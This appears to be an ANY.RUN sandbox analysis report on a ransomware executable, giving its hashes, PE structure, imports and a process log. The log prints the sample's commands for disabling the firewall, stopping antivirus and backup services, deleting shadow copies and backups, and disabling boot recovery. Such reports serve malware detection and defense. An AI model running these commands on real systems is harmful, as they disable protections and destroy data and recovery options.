File name: | 85b2a7f42dff2d06d9b80acbde26de71.exe |
Full analysis: | https://app.any.run/tasks/d216389a-5ca6-4a01-9668-ee53f28a1497 |
Verdict: | Malicious activity |
Threats: | Ransomware is a type of malicious software that locks users out of their system or data using different methods to force them to pay a ransom. Most often, such programs encrypt files on an infected machine and demand a fee to be paid in exchange for the decryption key. Additionally, such programs can be used to steal sensitive information from the compromised computer and even conduct DDoS attacks against affected organizations to pressure them into paying. |
Analysis date: | March 31, 2020, 09:11:34 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/x-dosexec |
File info: | MS-DOS executable, MZ for MS-DOS |
MD5: | 85B2A7F42DFF2D06D9B80ACBDE26DE71 |
SHA1: | 5BF37573BA0AD897F57F636E7A98AAA24717AB32 |
SHA256: | E04CDBA2C9443B7A859FB328CF19FECD73B6A91D0964B405D56A42EE0721C671 |
SSDEEP: | 12288:A3uIyqWtM1lLMCbXV+kQmlrYezd52Xj/o9BMy5P1wssL6LxbUip41R9tdJsBXsVX:AxWtcIiM7O3zvCj/+Bbtwss+eW4FJsBg |
.exe | | | Win32 Executable (generic) (52.9) |
---|---|---|
.exe | | | Generic Win/DOS Executable (23.5) |
.exe | | | DOS Executable Generic (23.5) |
ProductVersion: | 2.0.0.0 |
---|---|
ProductName: | FFFFFFFFFFFFFFF |
ProgramID: | FFFFFFFFFFFFFFF |
FileVersion: | 2.0.0.0 |
FileDescription: | FFFFFFFFFFFFFFF |
CharacterSet: | Windows, Latin1 |
LanguageCode: | German |
FileSubtype: | - |
ObjectFileType: | Executable application |
FileOS: | Win32 |
FileFlags: | (none) |
FileFlagsMask: | 0x003f |
ProductVersionNumber: | 2.0.0.0 |
FileVersionNumber: | 2.0.0.0 |
Subsystem: | Windows GUI |
SubsystemVersion: | 5 |
ImageVersion: | - |
OSVersion: | 5 |
EntryPoint: | 0x2e432f |
UninitializedDataSize: | - |
InitializedDataSize: | 360960 |
CodeSize: | 2613248 |
LinkerVersion: | 2.25 |
PEType: | PE32 |
TimeStamp: | 2020:03:07 13:13:12+01:00 |
MachineType: | Intel 386 or later, and compatibles |
Architecture: | IMAGE_FILE_MACHINE_I386 |
---|---|
Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
Compilation Date: | 07-Mar-2020 12:13:12 |
Detected languages: |
|
FileDescription: | FFFFFFFFFFFFFFF |
FileVersion: | 2.0.0.0 |
ProgramID: | FFFFFFFFFFFFFFF |
ProductName: | FFFFFFFFFFFFFFF |
ProductVersion: | 2.0.0.0 |
Magic number: | MZ |
---|---|
Bytes on last page of file: | 0x0040 |
Pages in file: | 0x0001 |
Relocations: | 0x0000 |
Size of header: | 0x0002 |
Min extra paragraphs: | 0x0000 |
Max extra paragraphs: | 0xFFFF |
Initial SS value: | 0x0000 |
Initial SP value: | 0x00B8 |
Checksum: | 0x0000 |
Initial IP value: | 0x0000 |
Initial CS value: | 0x0000 |
Overlay number: | 0x0000 |
OEM identifier: | 0xB400 |
OEM information: | 0xCD09 |
Address of NE header: | 0x00000040 |
Signature: | PE |
---|---|
Machine: | IMAGE_FILE_MACHINE_I386 |
Number of sections: | 3 |
Time date stamp: | 07-Mar-2020 12:13:12 |
Pointer to Symbol Table: | 0x00000000 |
Number of symbols: | 0 |
Size of Optional Header: | 0x00E0 |
Characteristics: |
|
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
---|---|---|---|---|---|
.MPRESS1 | 0x00001000 | 0x002E3000 | 0x000A4800 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 7.99974 |
.MPRESS2 | 0x002E4000 | 0x00000F00 | 0x00001000 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 5.73824 |
.rsrc | 0x002E5000 | 0x00001E54 | 0x00002000 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 3.95251 |
Title | Entropy | Size | Codepage | Language | Type |
---|---|---|---|---|---|
1 | 5.26758 | 1814 | UNKNOWN | English - United States | RT_MANIFEST |
2 | 0 | 308 | UNKNOWN | English - United States | RT_CURSOR |
3 | 0 | 308 | UNKNOWN | English - United States | RT_CURSOR |
4 | 0 | 308 | UNKNOWN | English - United States | RT_CURSOR |
5 | 0 | 308 | UNKNOWN | English - United States | RT_CURSOR |
6 | 0 | 308 | UNKNOWN | English - United States | RT_CURSOR |
7 | 0 | 308 | UNKNOWN | English - United States | RT_CURSOR |
4059 | 0 | 676 | UNKNOWN | UNKNOWN | RT_STRING |
4060 | 0 | 1600 | UNKNOWN | UNKNOWN | RT_STRING |
4061 | 0 | 4516 | UNKNOWN | UNKNOWN | RT_STRING |
KERNEL32.DLL |
advapi32.dll |
comctl32.dll |
gdi32.dll |
netapi32.dll |
ole32.dll |
oleaut32.dll |
shell32.dll |
user32.dll |
version.dll |
Title | Ordinal | Address |
---|---|---|
dbkFCallWrapperAddr | 1 | 0x0028F63C |
__dbk_fcall_wrapper | 2 | 0x000111D4 |
TMethodImplementationIntercept | 3 | 0x000D888C |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
1740 | "C:\Users\admin\AppData\Local\Temp\85b2a7f42dff2d06d9b80acbde26de71.exe" | C:\Users\admin\AppData\Local\Temp\85b2a7f42dff2d06d9b80acbde26de71.exe | — | explorer.exe |
User: admin Integrity Level: MEDIUM Description: FFFFFFFFFFFFFFF Exit code: 3221226540 Version: 2.0.0.0 | ||||
1724 | "C:\Users\admin\AppData\Local\Temp\85b2a7f42dff2d06d9b80acbde26de71.exe" | C:\Users\admin\AppData\Local\Temp\85b2a7f42dff2d06d9b80acbde26de71.exe | explorer.exe | |
User: admin Integrity Level: HIGH Description: FFFFFFFFFFFFFFF Exit code: 0 Version: 2.0.0.0 | ||||
780 | "C:\Windows\System32\cmd.exe" /C netsh firewall set opmode disable | C:\Windows\System32\cmd.exe | — | 85b2a7f42dff2d06d9b80acbde26de71.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3972 | "C:\Windows\System32\cmd.exe" /C net stop avpsus /y & net stop McAfeeDLPAgentService /y & net stop mfewc /y & net stop BMR Boot Service /y & net stop NetBackup BMR MTFTP Service /y & stop "audioendpointbuilder" /y & stop "samss" /y | C:\Windows\System32\cmd.exe | — | 85b2a7f42dff2d06d9b80acbde26de71.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3284 | "C:\Windows\System32\cmd.exe" /C sc config SQLTELEMETRY start= disabled & sc config SQLTELEMETRY$ECWDB2 start= disabled & sc config SQLWriter start= disabled & sc config SstpSvc start= disabled | C:\Windows\System32\cmd.exe | — | 85b2a7f42dff2d06d9b80acbde26de71.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
4068 | "C:\Windows\System32\cmd.exe" /C vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet & wbadmin delete systemstatebackup & wbadmin delete systemstatebackup -keepversions:0 & wbadmin delete backup | C:\Windows\System32\cmd.exe | — | 85b2a7f42dff2d06d9b80acbde26de71.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 4294967295 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
576 | "C:\Windows\System32\cmd.exe" /C vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB & vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded | C:\Windows\System32\cmd.exe | — | 85b2a7f42dff2d06d9b80acbde26de71.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3560 | "C:\Windows\System32\cmd.exe" /C vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB & vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded | C:\Windows\System32\cmd.exe | — | 85b2a7f42dff2d06d9b80acbde26de71.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 2 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
3632 | netsh firewall set opmode disable | C:\Windows\system32\netsh.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Network Command Shell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3864 | net stop avpsus /y | C:\Windows\system32\net.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Net Command Exit code: 2 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
1724 | 85b2a7f42dff2d06d9b80acbde26de71.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\breserved.png.lnk | — | |
MD5:— | SHA256:— | |||
1724 | 85b2a7f42dff2d06d9b80acbde26de71.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\businessesroom.rtf.lnk | — | |
MD5:— | SHA256:— | |||
1724 | 85b2a7f42dff2d06d9b80acbde26de71.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\Downloads.lnk | — | |
MD5:— | SHA256:— | |||
1724 | 85b2a7f42dff2d06d9b80acbde26de71.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\especiallyest.rtf.lnk | — | |
MD5:— | SHA256:— | |||
1724 | 85b2a7f42dff2d06d9b80acbde26de71.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\especiallynews.jpg.lnk | — | |
MD5:— | SHA256:— | |||
1724 | 85b2a7f42dff2d06d9b80acbde26de71.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\guidesnews.rtf.lnk | — | |
MD5:— | SHA256:— | |||
1724 | 85b2a7f42dff2d06d9b80acbde26de71.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\herework.rtf.lnk | — | |
MD5:— | SHA256:— | |||
1724 | 85b2a7f42dff2d06d9b80acbde26de71.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\industrialos.rtf.lnk | — | |
MD5:— | SHA256:— | |||
1724 | 85b2a7f42dff2d06d9b80acbde26de71.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\minutescountries.rtf.lnk | — | |
MD5:— | SHA256:— | |||
1724 | 85b2a7f42dff2d06d9b80acbde26de71.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\Network and Internet.lnk | — | |
MD5:— | SHA256:— |